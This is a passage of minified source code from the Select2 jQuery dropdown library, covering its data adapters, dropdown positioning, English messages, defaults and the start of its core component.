s","ś":"s","ṥ":"s","ŝ":"s","ṡ":"s","š":"s","ṧ":"s","ṣ":"s","ṩ":"s","ș":"s","ş":"s","ȿ":"s","ꞩ":"s","ꞅ":"s","ẛ":"s","ⓣ":"t","ｔ":"t","ṫ":"t","ẗ":"t","ť":"t","ṭ":"t","ț":"t","ţ":"t","ṱ":"t","ṯ":"t","ŧ":"t","ƭ":"t","ʈ":"t","ⱦ":"t","ꞇ":"t","ꜩ":"tz","ⓤ":"u","ｕ":"u","ù":"u","ú":"u","û":"u","ũ":"u","ṹ":"u","ū":"u","ṻ":"u","ŭ":"u","ü":"u","ǜ":"u","ǘ":"u","ǖ":"u","ǚ":"u","ủ":"u","ů":"u","ű":"u","ǔ":"u","ȕ":"u","ȗ":"u","ư":"u","ừ":"u","ứ":"u","ữ":"u","ử":"u","ự":"u","ụ":"u","ṳ":"u","ų":"u","ṷ":"u","ṵ":"u","ʉ":"u","ⓥ":"v","ｖ":"v","ṽ":"v","ṿ":"v","ʋ":"v","ꝟ":"v","ʌ":"v","ꝡ":"vy","ⓦ":"w","ｗ":"w","ẁ":"w","ẃ":"w","ŵ":"w","ẇ":"w","ẅ":"w","ẘ":"w","ẉ":"w","ⱳ":"w","ⓧ":"x","ｘ":"x","ẋ":"x","ẍ":"x","ⓨ":"y","ｙ":"y","ỳ":"y","ý":"y","ŷ":"y","ỹ":"y","ȳ":"y","ẏ":"y","ÿ":"y","ỷ":"y","ẙ":"y","ỵ":"y","ƴ":"y","ɏ":"y","ỿ":"y","ⓩ":"z","ｚ":"z","ź":"z","ẑ":"z","ż":"z","ž":"z","ẓ":"z","ẕ":"z","ƶ":"z","ȥ":"z","ɀ":"z","ⱬ":"z","ꝣ":"z","Ά":"Α","Έ":"Ε","Ή":"Η","Ί":"Ι","Ϊ":"Ι","Ό":"Ο","Ύ":"Υ","Ϋ":"Υ","Ώ":"Ω","ά":"α","έ":"ε","ή":"η","ί":"ι","ϊ":"ι","ΐ":"ι","ό":"ο","ύ":"υ","ϋ":"υ","ΰ":"υ","ώ":"ω","ς":"σ","’":"'"}}),e.define("select2/data/base",["../utils"],function(i){function n(e,t){n.__super__.constructor.call(this)}return i.Extend(n,i.Observable),n.prototype.current=function(e){throw new Error("The `current` method must be defined in child classes.")},n.prototype.query=function(e,t){throw new Error("The `query` method must be defined in child classes.")},n.prototype.bind=function(e,t){},n.prototype.destroy=function(){},n.prototype.generateResultId=function(e,t){var n=e.id+"-result-";return n+=i.generateChars(4),null!=t.id?n+="-"+t.id.toString():n+="-"+i.generateChars(4),n},n}),e.define("select2/data/select",["./base","../utils","jquery"],function(e,a,l){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return a.Extend(n,e),n.prototype.current=function(e){var n=[],i=this;this.$element.find(":selected").each(function(){var e=l(this),t=i.item(e);n.push(t)}),e(n)},n.prototype.select=function(r){var o=this;if(r.selected=!0,l(r.element).is("option"))return r.element.selected=!0,void this.$element.trigger("input").trigger("change");if(this.$element.prop("multiple"))this.current(function(e){var t=[];(r=[r]).push.apply(r,e);for(var n=0;n<r.length;n++){var i=r[n].id;-1===l.inArray(i,t)&&t.push(i)}o.$element.val(t),o.$element.trigger("input").trigger("change")});else{var e=r.id;this.$element.val(e),this.$element.trigger("input").trigger("change")}},n.prototype.unselect=function(r){var o=this;if(this.$element.prop("multiple")){if(r.selected=!1,l(r.element).is("option"))return r.element.selected=!1,void this.$element.trigger("input").trigger("change");this.current(function(e){for(var t=[],n=0;n<e.length;n++){var i=e[n].id;i!==r.id&&-1===l.inArray(i,t)&&t.push(i)}o.$element.val(t),o.$element.trigger("input").trigger("change")})}},n.prototype.bind=function(e,t){var n=this;(this.container=e).on("select",function(e){n.select(e.data)}),e.on("unselect",function(e){n.unselect(e.data)})},n.prototype.destroy=function(){this.$element.find("*").each(function(){a.RemoveData(this)})},n.prototype.query=function(i,e){var r=[],o=this;this.$element.children().each(function(){var e=l(this);if(e.is("option")||e.is("optgroup")){var t=o.item(e),n=o.matches(i,t);null!==n&&r.push(n)}}),e({results:r})},n.prototype.addOptions=function(e){a.appendMany(this.$element,e)},n.prototype.option=function(e){var t;e.children?(t=document.createElement("optgroup")).label=e.text:void 0!==(t=document.createElement("option")).textContent?t.textContent=e.text:t.innerText=e.text,void 0!==e.id&&(t.value=e.id),e.disabled&&(t.disabled=!0),e.selected&&(t.selected=!0),e.title&&(t.title=e.title);var n=l(t),i=this._normalizeItem(e);return i.element=t,a.StoreData(t,"data",i),n},n.prototype.item=function(e){var t={};if(null!=(t=a.GetData(e[0],"data")))return t;if(e.is("option"))t={id:e.val(),text:e.text(),disabled:e.prop("disabled"),selected:e.prop("selected"),title:e.prop("title")};else if(e.is("optgroup")){t={text:e.prop("label"),children:[],title:e.prop("title")};for(var n=e.children("option"),i=[],r=0;r<n.length;r++){var o=l(n[r]),s=this.item(o);i.push(s)}t.children=i}return(t=this._normalizeItem(t)).element=e[0],a.StoreData(e[0],"data",t),t},n.prototype._normalizeItem=function(e){e!==Object(e)&&(e={id:e,text:e});return null!=(e=l.extend({},{text:""},e)).id&&(e.id=e.id.toString()),null!=e.text&&(e.text=e.text.toString()),null==e._resultId&&e.id&&null!=this.container&&(e._resultId=this.generateResultId(this.container,e)),l.extend({},{selected:!1,disabled:!1},e)},n.prototype.matches=function(e,t){return this.options.get("matcher")(e,t)},n}),e.define("select2/data/array",["./select","../utils","jquery"],function(e,f,g){function i(e,t){this._dataToConvert=t.get("data")||[],i.__super__.constructor.call(this,e,t)}return f.Extend(i,e),i.prototype.bind=function(e,t){i.__super__.bind.call(this,e,t),this.addOptions(this.convertToOptions(this._dataToConvert))},i.prototype.select=function(n){var e=this.$element.find("option").filter(function(e,t){return t.value==n.id.toString()});0===e.length&&(e=this.option(n),this.addOptions(e)),i.__super__.select.call(this,n)},i.prototype.convertToOptions=function(e){var t=this,n=this.$element.find("option"),i=n.map(function(){return t.item(g(this)).id}).get(),r=[];function o(e){return function(){return g(this).val()==e.id}}for(var s=0;s<e.length;s++){var a=this._normalizeItem(e[s]);if(0<=g.inArray(a.id,i)){var l=n.filter(o(a)),c=this.item(l),u=g.extend(!0,{},a,c),d=this.option(u);l.replaceWith(d)}else{var p=this.option(a);if(a.children){var h=this.convertToOptions(a.children);f.appendMany(p,h)}r.push(p)}}return r},i}),e.define("select2/data/ajax",["./array","../utils","jquery"],function(e,t,o){function n(e,t){this.ajaxOptions=this._applyDefaults(t.get("ajax")),null!=this.ajaxOptions.processResults&&(this.processResults=this.ajaxOptions.processResults),n.__super__.constructor.call(this,e,t)}return t.Extend(n,e),n.prototype._applyDefaults=function(e){var t={data:function(e){return o.extend({},e,{q:e.term})},transport:function(e,t,n){var i=o.ajax(e);return i.then(t),i.fail(n),i}};return o.extend({},t,e,!0)},n.prototype.processResults=function(e){return e},n.prototype.query=function(n,i){var r=this;null!=this._request&&(o.isFunction(this._request.abort)&&this._request.abort(),this._request=null);var t=o.extend({type:"GET"},this.ajaxOptions);function e(){var e=t.transport(t,function(e){var t=r.processResults(e,n);r.options.get("debug")&&window.console&&console.error&&(t&&t.results&&o.isArray(t.results)||console.error("Select2: The AJAX results did not return an array in the `results` key of the response.")),i(t)},function(){"status"in e&&(0===e.status||"0"===e.status)||r.trigger("results:message",{message:"errorLoading"})});r._request=e}"function"==typeof t.url&&(t.url=t.url.call(this.$element,n)),"function"==typeof t.data&&(t.data=t.data.call(this.$element,n)),this.ajaxOptions.delay&&null!=n.term?(this._queryTimeout&&window.clearTimeout(this._queryTimeout),this._queryTimeout=window.setTimeout(e,this.ajaxOptions.delay)):e()},n}),e.define("select2/data/tags",["jquery"],function(u){function e(e,t,n){var i=n.get("tags"),r=n.get("createTag");void 0!==r&&(this.createTag=r);var o=n.get("insertTag");if(void 0!==o&&(this.insertTag=o),e.call(this,t,n),u.isArray(i))for(var s=0;s<i.length;s++){var a=i[s],l=this._normalizeItem(a),c=this.option(l);this.$element.append(c)}}return e.prototype.query=function(e,c,u){var d=this;this._removeOldTags(),null!=c.term&&null==c.page?e.call(this,c,function e(t,n){for(var i=t.results,r=0;r<i.length;r++){var o=i[r],s=null!=o.children&&!e({results:o.children},!0);if((o.text||"").toUpperCase()===(c.term||"").toUpperCase()||s)return!n&&(t.data=i,void u(t))}if(n)return!0;var a=d.createTag(c);if(null!=a){var l=d.option(a);l.attr("data-select2-tag",!0),d.addOptions([l]),d.insertTag(i,a)}t.results=i,u(t)}):e.call(this,c,u)},e.prototype.createTag=function(e,t){var n=u.trim(t.term);return""===n?null:{id:n,text:n}},e.prototype.insertTag=function(e,t,n){t.unshift(n)},e.prototype._removeOldTags=function(e){this.$element.find("option[data-select2-tag]").each(function(){this.selected||u(this).remove()})},e}),e.define("select2/data/tokenizer",["jquery"],function(d){function e(e,t,n){var i=n.get("tokenizer");void 0!==i&&(this.tokenizer=i),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){e.call(this,t,n),this.$search=t.dropdown.$search||t.selection.$search||n.find(".select2-search__field")},e.prototype.query=function(e,t,n){var i=this;t.term=t.term||"";var r=this.tokenizer(t,this.options,function(e){var t=i._normalizeItem(e);if(!i.$element.find("option").filter(function(){return d(this).val()===t.id}).length){var n=i.option(t);n.attr("data-select2-tag",!0),i._removeOldTags(),i.addOptions([n])}!function(e){i.trigger("select",{data:e})}(t)});r.term!==t.term&&(this.$search.length&&(this.$search.val(r.term),this.$search.trigger("focus")),t.term=r.term),e.call(this,t,n)},e.prototype.tokenizer=function(e,t,n,i){for(var r=n.get("tokenSeparators")||[],o=t.term,s=0,a=this.createTag||function(e){return{id:e.term,text:e.term}};s<o.length;){var l=o[s];if(-1!==d.inArray(l,r)){var c=o.substr(0,s),u=a(d.extend({},t,{term:c}));null!=u?(i(u),o=o.substr(s+1)||"",s=0):s++}else s++}return{term:o}},e}),e.define("select2/data/minimumInputLength",[],function(){function e(e,t,n){this.minimumInputLength=n.get("minimumInputLength"),e.call(this,t,n)}return e.prototype.query=function(e,t,n){t.term=t.term||"",t.term.length<this.minimumInputLength?this.trigger("results:message",{message:"inputTooShort",args:{minimum:this.minimumInputLength,input:t.term,params:t}}):e.call(this,t,n)},e}),e.define("select2/data/maximumInputLength",[],function(){function e(e,t,n){this.maximumInputLength=n.get("maximumInputLength"),e.call(this,t,n)}return e.prototype.query=function(e,t,n){t.term=t.term||"",0<this.maximumInputLength&&t.term.length>this.maximumInputLength?this.trigger("results:message",{message:"inputTooLong",args:{maximum:this.maximumInputLength,input:t.term,params:t}}):e.call(this,t,n)},e}),e.define("select2/data/maximumSelectionLength",[],function(){function e(e,t,n){this.maximumSelectionLength=n.get("maximumSelectionLength"),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),t.on("select",function(){i._checkIfMaximumSelected()})},e.prototype.query=function(e,t,n){var i=this;this._checkIfMaximumSelected(function(){e.call(i,t,n)})},e.prototype._checkIfMaximumSelected=function(e,n){var i=this;this.current(function(e){var t=null!=e?e.length:0;0<i.maximumSelectionLength&&t>=i.maximumSelectionLength?i.trigger("results:message",{message:"maximumSelected",args:{maximum:i.maximumSelectionLength}}):n&&n()})},e}),e.define("select2/dropdown",["jquery","./utils"],function(t,e){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return e.Extend(n,e.Observable),n.prototype.render=function(){var e=t('<span class="select2-dropdown"><span class="select2-results"></span></span>');return e.attr("dir",this.options.get("dir")),this.$dropdown=e},n.prototype.bind=function(){},n.prototype.position=function(e,t){},n.prototype.destroy=function(){this.$dropdown.remove()},n}),e.define("select2/dropdown/search",["jquery","../utils"],function(o,e){function t(){}return t.prototype.render=function(e){var t=e.call(this),n=o('<span class="select2-search select2-search--dropdown"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="searchbox" aria-autocomplete="list" /></span>');return this.$searchContainer=n,this.$search=n.find("input"),t.prepend(n),t},t.prototype.bind=function(e,t,n){var i=this,r=t.id+"-results";e.call(this,t,n),this.$search.on("keydown",function(e){i.trigger("keypress",e),i._keyUpPrevented=e.isDefaultPrevented()}),this.$search.on("input",function(e){o(this).off("keyup")}),this.$search.on("keyup input",function(e){i.handleSearch(e)}),t.on("open",function(){i.$search.attr("tabindex",0),i.$search.attr("aria-controls",r),i.$search.trigger("focus"),window.setTimeout(function(){i.$search.trigger("focus")},0)}),t.on("close",function(){i.$search.attr("tabindex",-1),i.$search.removeAttr("aria-controls"),i.$search.removeAttr("aria-activedescendant"),i.$search.val(""),i.$search.trigger("blur")}),t.on("focus",function(){t.isOpen()||i.$search.trigger("focus")}),t.on("results:all",function(e){null!=e.query.term&&""!==e.query.term||(i.showSearch(e)?i.$searchContainer.removeClass("select2-search--hide"):i.$searchContainer.addClass("select2-search--hide"))}),t.on("results:focus",function(e){e.data._resultId?i.$search.attr("aria-activedescendant",e.data._resultId):i.$search.removeAttr("aria-activedescendant")})},t.prototype.handleSearch=function(e){if(!this._keyUpPrevented){var t=this.$search.val();this.trigger("query",{term:t})}this._keyUpPrevented=!1},t.prototype.showSearch=function(e,t){return!0},t}),e.define("select2/dropdown/hidePlaceholder",[],function(){function e(e,t,n,i){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),e.call(this,t,n,i)}return e.prototype.append=function(e,t){t.results=this.removePlaceholder(t.results),e.call(this,t)},e.prototype.normalizePlaceholder=function(e,t){return"string"==typeof t&&(t={id:"",text:t}),t},e.prototype.removePlaceholder=function(e,t){for(var n=t.slice(0),i=t.length-1;0<=i;i--){var r=t[i];this.placeholder.id===r.id&&n.splice(i,1)}return n},e}),e.define("select2/dropdown/infiniteScroll",["jquery"],function(n){function e(e,t,n,i){this.lastParams={},e.call(this,t,n,i),this.$loadingMore=this.createLoadingMore(),this.loading=!1}return e.prototype.append=function(e,t){this.$loadingMore.remove(),this.loading=!1,e.call(this,t),this.showLoadingMore(t)&&(this.$results.append(this.$loadingMore),this.loadMoreIfNeeded())},e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),t.on("query",function(e){i.lastParams=e,i.loading=!0}),t.on("query:append",function(e){i.lastParams=e,i.loading=!0}),this.$results.on("scroll",this.loadMoreIfNeeded.bind(this))},e.prototype.loadMoreIfNeeded=function(){var e=n.contains(document.documentElement,this.$loadingMore[0]);if(!this.loading&&e){var t=this.$results.offset().top+this.$results.outerHeight(!1);this.$loadingMore.offset().top+this.$loadingMore.outerHeight(!1)<=t+50&&this.loadMore()}},e.prototype.loadMore=function(){this.loading=!0;var e=n.extend({},{page:1},this.lastParams);e.page++,this.trigger("query:append",e)},e.prototype.showLoadingMore=function(e,t){return t.pagination&&t.pagination.more},e.prototype.createLoadingMore=function(){var e=n('<li class="select2-results__option select2-results__option--load-more"role="option" aria-disabled="true"></li>'),t=this.options.get("translations").get("loadingMore");return e.html(t(this.lastParams)),e},e}),e.define("select2/dropdown/attachBody",["jquery","../utils"],function(f,a){function e(e,t,n){this.$dropdownParent=f(n.get("dropdownParent")||document.body),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),t.on("open",function(){i._showDropdown(),i._attachPositioningHandler(t),i._bindContainerResultHandlers(t)}),t.on("close",function(){i._hideDropdown(),i._detachPositioningHandler(t)}),this.$dropdownContainer.on("mousedown",function(e){e.stopPropagation()})},e.prototype.destroy=function(e){e.call(this),this.$dropdownContainer.remove()},e.prototype.position=function(e,t,n){t.attr("class",n.attr("class")),t.removeClass("select2"),t.addClass("select2-container--open"),t.css({position:"absolute",top:-999999}),this.$container=n},e.prototype.render=function(e){var t=f("<span></span>"),n=e.call(this);return t.append(n),this.$dropdownContainer=t},e.prototype._hideDropdown=function(e){this.$dropdownContainer.detach()},e.prototype._bindContainerResultHandlers=function(e,t){if(!this._containerResultsHandlersBound){var n=this;t.on("results:all",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("results:append",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("results:message",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("select",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("unselect",function(){n._positionDropdown(),n._resizeDropdown()}),this._containerResultsHandlersBound=!0}},e.prototype._attachPositioningHandler=function(e,t){var n=this,i="scroll.select2."+t.id,r="resize.select2."+t.id,o="orientationchange.select2."+t.id,s=this.$container.parents().filter(a.hasScroll);s.each(function(){a.StoreData(this,"select2-scroll-position",{x:f(this).scrollLeft(),y:f(this).scrollTop()})}),s.on(i,function(e){var t=a.GetData(this,"select2-scroll-position");f(this).scrollTop(t.y)}),f(window).on(i+" "+r+" "+o,function(e){n._positionDropdown(),n._resizeDropdown()})},e.prototype._detachPositioningHandler=function(e,t){var n="scroll.select2."+t.id,i="resize.select2."+t.id,r="orientationchange.select2."+t.id;this.$container.parents().filter(a.hasScroll).off(n),f(window).off(n+" "+i+" "+r)},e.prototype._positionDropdown=function(){var e=f(window),t=this.$dropdown.hasClass("select2-dropdown--above"),n=this.$dropdown.hasClass("select2-dropdown--below"),i=null,r=this.$container.offset();r.bottom=r.top+this.$container.outerHeight(!1);var o={height:this.$container.outerHeight(!1)};o.top=r.top,o.bottom=r.top+o.height;var s=this.$dropdown.outerHeight(!1),a=e.scrollTop(),l=e.scrollTop()+e.height(),c=a<r.top-s,u=l>r.bottom+s,d={left:r.left,top:o.bottom},p=this.$dropdownParent;"static"===p.css("position")&&(p=p.offsetParent());var h={top:0,left:0};(f.contains(document.body,p[0])||p[0].isConnected)&&(h=p.offset()),d.top-=h.top,d.left-=h.left,t||n||(i="below"),u||!c||t?!c&&u&&t&&(i="below"):i="above",("above"==i||t&&"below"!==i)&&(d.top=o.top-h.top-s),null!=i&&(this.$dropdown.removeClass("select2-dropdown--below select2-dropdown--above").addClass("select2-dropdown--"+i),this.$container.removeClass("select2-container--below select2-container--above").addClass("select2-container--"+i)),this.$dropdownContainer.css(d)},e.prototype._resizeDropdown=function(){var e={width:this.$container.outerWidth(!1)+"px"};this.options.get("dropdownAutoWidth")&&(e.minWidth=e.width,e.position="relative",e.width="auto"),this.$dropdown.css(e)},e.prototype._showDropdown=function(e){this.$dropdownContainer.appendTo(this.$dropdownParent),this._positionDropdown(),this._resizeDropdown()},e}),e.define("select2/dropdown/minimumResultsForSearch",[],function(){function e(e,t,n,i){this.minimumResultsForSearch=n.get("minimumResultsForSearch"),this.minimumResultsForSearch<0&&(this.minimumResultsForSearch=1/0),e.call(this,t,n,i)}return e.prototype.showSearch=function(e,t){return!(function e(t){for(var n=0,i=0;i<t.length;i++){var r=t[i];r.children?n+=e(r.children):n++}return n}(t.data.results)<this.minimumResultsForSearch)&&e.call(this,t)},e}),e.define("select2/dropdown/selectOnClose",["../utils"],function(o){function e(){}return e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),t.on("close",function(e){i._handleSelectOnClose(e)})},e.prototype._handleSelectOnClose=function(e,t){if(t&&null!=t.originalSelect2Event){var n=t.originalSelect2Event;if("select"===n._type||"unselect"===n._type)return}var i=this.getHighlightedResults();if(!(i.length<1)){var r=o.GetData(i[0],"data");null!=r.element&&r.element.selected||null==r.element&&r.selected||this.trigger("select",{data:r})}},e}),e.define("select2/dropdown/closeOnSelect",[],function(){function e(){}return e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),t.on("select",function(e){i._selectTriggered(e)}),t.on("unselect",function(e){i._selectTriggered(e)})},e.prototype._selectTriggered=function(e,t){var n=t.originalEvent;n&&(n.ctrlKey||n.metaKey)||this.trigger("close",{originalEvent:n,originalSelect2Event:t})},e}),e.define("select2/i18n/en",[],function(){return{errorLoading:function(){return"The results could not be loaded."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Please delete "+t+" character";return 1!=t&&(n+="s"),n},inputTooShort:function(e){return"Please enter "+(e.minimum-e.input.length)+" or more characters"},loadingMore:function(){return"Loading more results…"},maximumSelected:function(e){var t="You can only select "+e.maximum+" item";return 1!=e.maximum&&(t+="s"),t},noResults:function(){return"No results found"},searching:function(){return"Searching…"},removeAllItems:function(){return"Remove all items"}}}),e.define("select2/defaults",["jquery","require","./results","./selection/single","./selection/multiple","./selection/placeholder","./selection/allowClear","./selection/search","./selection/eventRelay","./utils","./translation","./diacritics","./data/select","./data/array","./data/ajax","./data/tags","./data/tokenizer","./data/minimumInputLength","./data/maximumInputLength","./data/maximumSelectionLength","./dropdown","./dropdown/search","./dropdown/hidePlaceholder","./dropdown/infiniteScroll","./dropdown/attachBody","./dropdown/minimumResultsForSearch","./dropdown/selectOnClose","./dropdown/closeOnSelect","./i18n/en"],function(c,u,d,p,h,f,g,m,v,y,s,t,_,w,$,b,A,x,D,S,C,E,O,T,q,j,L,I,e){function n(){this.reset()}return n.prototype.apply=function(e){if(null==(e=c.extend(!0,{},this.defaults,e)).dataAdapter){if(null!=e.ajax?e.dataAdapter=$:null!=e.data?e.dataAdapter=w:e.dataAdapter=_,0<e.minimumInputLength&&(e.dataAdapter=y.Decorate(e.dataAdapter,x)),0<e.maximumInputLength&&(e.dataAdapter=y.Decorate(e.dataAdapter,D)),0<e.maximumSelectionLength&&(e.dataAdapter=y.Decorate(e.dataAdapter,S)),e.tags&&(e.dataAdapter=y.Decorate(e.dataAdapter,b)),null==e.tokenSeparators&&null==e.tokenizer||(e.dataAdapter=y.Decorate(e.dataAdapter,A)),null!=e.query){var t=u(e.amdBase+"compat/query");e.dataAdapter=y.Decorate(e.dataAdapter,t)}if(null!=e.initSelection){var n=u(e.amdBase+"compat/initSelection");e.dataAdapter=y.Decorate(e.dataAdapter,n)}}if(null==e.resultsAdapter&&(e.resultsAdapter=d,null!=e.ajax&&(e.resultsAdapter=y.Decorate(e.resultsAdapter,T)),null!=e.placeholder&&(e.resultsAdapter=y.Decorate(e.resultsAdapter,O)),e.selectOnClose&&(e.resultsAdapter=y.Decorate(e.resultsAdapter,L))),null==e.dropdownAdapter){if(e.multiple)e.dropdownAdapter=C;else{var i=y.Decorate(C,E);e.dropdownAdapter=i}if(0!==e.minimumResultsForSearch&&(e.dropdownAdapter=y.Decorate(e.dropdownAdapter,j)),e.closeOnSelect&&(e.dropdownAdapter=y.Decorate(e.dropdownAdapter,I)),null!=e.dropdownCssClass||null!=e.dropdownCss||null!=e.adaptDropdownCssClass){var r=u(e.amdBase+"compat/dropdownCss");e.dropdownAdapter=y.Decorate(e.dropdownAdapter,r)}e.dropdownAdapter=y.Decorate(e.dropdownAdapter,q)}if(null==e.selectionAdapter){if(e.multiple?e.selectionAdapter=h:e.selectionAdapter=p,null!=e.placeholder&&(e.selectionAdapter=y.Decorate(e.selectionAdapter,f)),e.allowClear&&(e.selectionAdapter=y.Decorate(e.selectionAdapter,g)),e.multiple&&(e.selectionAdapter=y.Decorate(e.selectionAdapter,m)),null!=e.containerCssClass||null!=e.containerCss||null!=e.adaptContainerCssClass){var o=u(e.amdBase+"compat/containerCss");e.selectionAdapter=y.Decorate(e.selectionAdapter,o)}e.selectionAdapter=y.Decorate(e.selectionAdapter,v)}e.language=this._resolveLanguage(e.language),e.language.push("en");for(var s=[],a=0;a<e.language.length;a++){var l=e.language[a];-1===s.indexOf(l)&&s.push(l)}return e.language=s,e.translations=this._processTranslations(e.language,e.debug),e},n.prototype.reset=function(){function a(e){return e.replace(/[^\u0000-\u007E]/g,function(e){return t[e]||e})}this.defaults={amdBase:"./",amdLanguageBase:"./i18n/",closeOnSelect:!0,debug:!1,dropdownAutoWidth:!1,escapeMarkup:y.escapeMarkup,language:{},matcher:function e(t,n){if(""===c.trim(t.term))return n;if(n.children&&0<n.children.length){for(var i=c.extend(!0,{},n),r=n.children.length-1;0<=r;r--)null==e(t,n.children[r])&&i.children.splice(r,1);return 0<i.children.length?i:e(t,i)}var o=a(n.text).toUpperCase(),s=a(t.term).toUpperCase();return-1<o.indexOf(s)?n:null},minimumInputLength:0,maximumInputLength:0,maximumSelectionLength:0,minimumResultsForSearch:0,selectOnClose:!1,scrollAfterSelect:!1,sorter:function(e){return e},templateResult:function(e){return e.text},templateSelection:function(e){return e.text},theme:"default",width:"resolve"}},n.prototype.applyFromElement=function(e,t){var n=e.language,i=this.defaults.language,r=t.prop("lang"),o=t.closest("[lang]").prop("lang"),s=Array.prototype.concat.call(this._resolveLanguage(r),this._resolveLanguage(n),this._resolveLanguage(i),this._resolveLanguage(o));return e.language=s,e},n.prototype._resolveLanguage=function(e){if(!e)return[];if(c.isEmptyObject(e))return[];if(c.isPlainObject(e))return[e];var t;t=c.isArray(e)?e:[e];for(var n=[],i=0;i<t.length;i++)if(n.push(t[i]),"string"==typeof t[i]&&0<t[i].indexOf("-")){var r=t[i].split("-")[0];n.push(r)}return n},n.prototype._processTranslations=function(e,t){for(var n=new s,i=0;i<e.length;i++){var r=new s,o=e[i];if("string"==typeof o)try{r=s.loadPath(o)}catch(e){try{o=this.defaults.amdLanguageBase+o,r=s.loadPath(o)}catch(e){t&&window.console&&console.warn&&console.warn('Select2: The language file for "'+o+'" could not be automatically loaded. A fallback will be used instead.')}}else r=c.isPlainObject(o)?new s(o):o;n.extend(r)}return n},n.prototype.set=function(e,t){var n={};n[c.camelCase(e)]=t;var i=y._convertData(n);c.extend(!0,this.defaults,i)},new n}),e.define("select2/options",["require","jquery","./defaults","./utils"],function(i,d,r,p){function e(e,t){if(this.options=e,null!=t&&this.fromElement(t),null!=t&&(this.options=r.applyFromElement(this.options,t)),this.options=r.apply(this.options),t&&t.is("input")){var n=i(this.get("amdBase")+"compat/inputData");this.options.dataAdapter=p.Decorate(this.options.dataAdapter,n)}}return e.prototype.fromElement=function(e){var t=["select2"];null==this.options.multiple&&(this.options.multiple=e.prop("multiple")),null==this.options.disabled&&(this.options.disabled=e.prop("disabled")),null==this.options.dir&&(e.prop("dir")?this.options.dir=e.prop("dir"):e.closest("[dir]").prop("dir")?this.options.dir=e.closest("[dir]").prop("dir"):this.options.dir="ltr"),e.prop("disabled",this.options.disabled),e.prop("multiple",this.options.multiple),p.GetData(e[0],"select2Tags")&&(this.options.debug&&window.console&&console.warn&&console.warn('Select2: The `data-select2-tags` attribute has been changed to use the `data-data` and `data-tags="true"` attributes and will be removed in future versions of Select2.'),p.StoreData(e[0],"data",p.GetData(e[0],"select2Tags")),p.StoreData(e[0],"tags",!0)),p.GetData(e[0],"ajaxUrl")&&(this.options.debug&&window.console&&console.warn&&console.warn("Select2: The `data-ajax-url` attribute has been changed to `data-ajax--url` and support for the old attribute will be removed in future versions of Select2."),e.attr("ajax--url",p.GetData(e[0],"ajaxUrl")),p.StoreData(e[0],"ajax-Url",p.GetData(e[0],"ajaxUrl")));var n={};function i(e,t){return t.toUpperCase()}for(var r=0;r<e[0].attributes.length;r++){var o=e[0].attributes[r].name,s="data-";if(o.substr(0,s.length)==s){var a=o.substring(s.length),l=p.GetData(e[0],a);n[a.replace(/-([a-z])/g,i)]=l}}d.fn.jquery&&"1."==d.fn.jquery.substr(0,2)&&e[0].dataset&&(n=d.extend(!0,{},e[0].dataset,n));var c=d.extend(!0,{},p.GetData(e[0]),n);for(var u in c=p._convertData(c))-1<d.inArray(u,t)||(d.isPlainObject(this.options[u])?d.extend(this.options[u],c[u]):this.options[u]=c[u]);return this},e.prototype.get=function(e){return this.options[e]},e.prototype.set=function(e,t){this.options[e]=t},e}),e.define("select2/core",["jquery","./options","./utils","./keys"],function(o,c,u,i){var d=function(e,t){null!=u.GetData(e[0],"select2")&&u.GetData(e[0],"select2").destroy(),this.$element=e,this.id=this._generateId(e),t=t||{},this.options=new c(t,e),d.__super__.constructor.call(this);var n=e.attr("tabindex")||0;u.StoreData(e[0],"old-tabindex",n),e.attr("tabindex","-1");var i=this.options.get("dataAdapter");this.dataAdapter=new i(e,this.options);var r=this.render();this._placeContainer(r);var o=this.options.get("selectionAdapter");this.selection=new o(e,this.options),this.$selection=this.selection.render(),this.selection.position(this.$selection,r);var s=this.options.get("dropdownAdapter");this.dropdown=new s(e,this.options),this.$dropdown=this.dropdown.render(),this.dropdown.position(this.$dropdown,r);var a=this.options.get("resultsAdapter");this.results=new a(e,this.options,this.dataAdapter),this.$results=this.results.render(),this.results.position(this.$results,this.$dropdown);var l=this;this._bindAdapters(),this._registerDomEvents(),this._registerDataEvents(),this._registerSelectionEvents(),this._registerDropdownEvents(),this._registerResultsEvents(),this._registerEvents(),this.dataAdapter.current(function(e){l.trigger("selection:update",{data:e})}),e.addClass("select2-hidden-accessible"),e.attr("aria-hidden","true"),this._syncAttributes(),u.StoreData(e[0],"select2",this),e.data("select2",this)};return u.Extend(d,u.Observable),d.prototype._generateId=function(e){return"select2-"+(null!=e.attr("id")?e.attr("id"):null!=e.attr("name")?e.attr("name")+"-"+u.generateChars(2):u.generateChars(4)).replace(/(:|\.|\[|\]|,)/g,"")},d.prototype._placeContainer=function(e){e.insertAfter(this.$element);var t=this._resolveWidth(this.$element,this.options.get("width"));null!=t&&e.css("width",t)},d.prototype._resolveWidth=function(e,t){var n=/^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;if("resolve"==t){var i=this._resolveWidth(e,"style");return null!=i?i:this._resolveWidth(e,"element")}if("element"==t){var r=e.outerWidth(!1);return r<=0?"auto":r+"px"}if("style"!=t)return"computedstyle"!=t?t:window.getComputedStyle(e[0]).width;var o=e.attr("style");if("string"!=typeof o)return null;for(var s=o.split(";"),a=0,l=s.length;a<l;a+=1){var c=s[a].replace(/\s/g,"").match(n);if(null!==c&&1<=c.length)return c[1]}return null},d.prototype._bindAdapters=function(){this.dataAdapter.bind(this,this.$container),this.selection.bind(this,this.$container),this.dropdown.bind(this,this.$container),this.results.bind(this,this.$container)},d.prototype._registerDomEvents=function(){var 